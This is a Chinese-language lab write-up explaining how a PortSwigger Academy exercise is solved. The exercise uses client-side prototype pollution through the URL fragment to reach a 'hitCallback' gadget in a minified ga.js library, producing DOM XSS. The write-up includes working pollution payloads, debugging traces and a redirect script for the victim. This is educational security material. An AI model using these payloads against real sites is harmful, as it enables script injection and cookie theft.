> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/client-side-prototype-pollution-in-third-party-libraries.md).

# 第三方库中的客户端原型污染

### 第三方库中的客户端原型污染

#### 实验上下文

这个实验存在一个 **通过客户端污染原型导致的 DOM XSS**. / 这里的特殊之处在于，存在漏洞的 **gadget 位于第三方 JavaScript 库中**，其代码 **经过压缩**，使手动分析更加复杂。

该实验室的灵感来自 PortSwigger Research 指出的真实漏洞， **PortSwigger Research**，尤其是在 Gareth Heyes 撰写的《Widespread prototype pollution gadgets》一文中 **Gareth Heyes**.

最终目标：/ \*\* 运行 `alert(document.cookie)` 在受害者的浏览器中\*\*，使用提供的利用服务器。

### 推荐方法：使用 DOM Invader 自动攻击

#### DOM Invader 激活

1. 打开内置浏览器以 **Burp Suite**.

<figure><img src="/files/45e9331b498e263e9e1418c13c93452b41accc91" alt=""><figcaption></figcaption></figure>

* 检查 **DOM Invader** 扩展是否已启用。

<figure><img src="/files/82b5ff235d6629cc92ec65b4801ff6f34ba86cea" alt=""><figcaption></figcaption></figure>

启用：

* **DOM Invader 已开启**
* **攻击类型：原型污染**

<figure><img src="/files/f434bbc2a704810e4cb9308087c7245694f521a9" alt=""><figcaption></figcaption></figure>

#### 易受攻击源的识别

* 在 **DOM Invader** 选项卡中， **原型污染源** 会被自动检测到。
* DOM Invader 表明可以通过 \*\* URL 片段（`#`）\*\* 进行污染，而不是通过常规设置（`?`).

<figure><img src="/files/fdffd9f669dacda2f11a08a79bc563c5762fd8ac" alt=""><figcaption></figcaption></figure>

#### 自动发现 gadget

1. 启动 **扫描 gadget** 来自 DOM Invader。

<figure><img src="/files/87935ca863ae468e7b8b316d301e7f96edac61ad" alt=""><figcaption></figcaption></figure>

在第三方库中识别出一个可利用的 gadget。

点击 **利用**后，DOM Invader 会通过以下内容确认执行： `alert(1)`.

<figure><img src="/files/6bcb49e36a957401824d02d762983dfd963706c4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9772c6dccd410514324bcfcf10ae3967d3e23ed6" alt=""><figcaption></figcaption></figure>

#### 最终有效载荷（document.cookie）

DOM Invader 识别出的有效载荷：

```javascript
#constructor[prototype][hitCallback]=alert%28document.cookie%29
```

此有效载荷会触发包含 cookie 的警报框

<figure><img src="/files/fe12dd1f7e3e56cfa622391aecb9c23068ff7ccc" alt=""><figcaption></figcaption></figure>

#### 向受害者发送利用代码

以下代码与 **服务器正在运行**:

```javascript
<script>
    window.location.href = 'https://0aab001004b09f5780ab035a00c40034.web-security-academy.net/#constructor[prototype][hitCallback]=alert%28document.cookie%29';
</script>
```

当受害者加载页面时，JavaScript 会在其浏览器中执行

### 手动方法（详细分析）

#### 常规污染尝试（失败）

以下有效载荷\*\*不起作用\*\*：

```bash
/?__proto__[foo]=bar
/?__proto__.foo=bar
```

结果

```javascript
console.log({}.foo); // undefined
```

<figure><img src="/files/f2727e42051ee0f27bf099d78e978a260fd23f59" alt=""><figcaption></figcaption></figure>

#### 通过 URL 片段污染（成功）

然而，污染\*\*可通过 `#`\*\*:

```javascript
#__proto__[foo]=bar
#__proto__.foo=bar
```

这表明易受攻击的源会消耗 URL 片段

<figure><img src="/files/4bce249696dc33a66791f069a116dd006a5c672d" alt="" width="563"><figcaption></figcaption></figure>

#### 第三方库分析

* 加载了一个大型文件：

/resources/js/ga.js

约 3000 行，经过压缩的代码。

* 该文件包含一个名为 hitCallback 的回调，使用时没有进行严格校验。

<figure><img src="/files/f380e893aabb6371980fb448829247f4ea887d0b" alt=""><figcaption></figcaption></figure>

### 手动识别 Gadget

#### 使用以下方法进行追踪： `Object.defineProperty`

为了找出在 `Object.prototype`上读取的属性，我们注入：

```javascript
Object.defineProperty(Object.prototype, 'YOUR-PROPERTY', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

#### 停止 JavaScript 执行

<figure><img src="/files/8c7eb7e86f618fa2ccb26a71f9353f76fdcbe192" alt=""><figcaption></figcaption></figure>

通过拦截 HTML 响应，我们注入：

```javascript
<script>
    debugger;
</script>
```

<figure><img src="/files/afbf2a794b805cf05f7034fa00190415066896c1" alt=""><figcaption></figcaption></figure>

浏览器会在 \*\*

<figure><img src="/files/e77df87c8754757c330502f17701c805f87296b4" alt=""><figcaption></figcaption></figure>

#### 候选属性测试

未被使用的属性示例

```javascript
Object.defineProperty(Object.prototype, 'anonymizeIp', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

没有有趣的调用栈。

<figure><img src="/files/b1773e98013f4e9573be691fbb6a5a988b5cf929" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cae963682bba32f99d970feff31912b2ba04ce95" alt=""><figcaption></figcaption></figure>

#### 发现有效 gadget： `hitCallback`

```javascript
Object.defineProperty(Object.prototype, 'hitCallback', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

结果：

* `console.trace()` 显示出一串来自 `ga.js`
* 该属性被正确 **读取并作为函数执行**

这种行为证实 `hitCallback` 被作为 JavaScript 回调调用

```javascript
console.trace() debugger eval code:3:17
    get debugger eval code:3
    get https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    Vc https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:21
    j https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    Fa https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:63
    b https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    O https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:36
    push https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:33
    b https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    Fe https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
```

<figure><img src="/files/fefcaaf79b709bb6f276cac3ed14670a41165f02" alt=""><figcaption></figcaption></figure>

这种行为证实 `hitCallback` 被作为 JavaScript 回调调用

```javascript
未捕获的引用错误：polluted 未定义
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:21
```

<figure><img src="/files/71c39c7db506bfe46a964419695550e8dcf9e45d" alt=""><figcaption></figcaption></figure>

* 该 `hitCallback` gadget 允许任意 \*\* JavaScript 执行\*\*，从而导致一个 **DOM XSS**.

```javascript
Zc.prototype.stopPropagation = function () {
      throw 'aborted';
    };
    var Vc = function (a) {
      var b = this;
      this.fb = 0;
      var c = a.get(tc);
      this.Ua = function () {
        0 < b.fb &&
        c &&
        (b.fb--, b.fb || c())
      };
      this.Ja = function () {
        !b.fb &&
        c &&
        setTimeout(c, 10)
      };
      a.set(uc, b, !0)
    };
```

<figure><img src="/files/64221fd04639cd6a624fd8e61957567433b1fbad" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/client-side-prototype-pollution-in-third-party-libraries.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.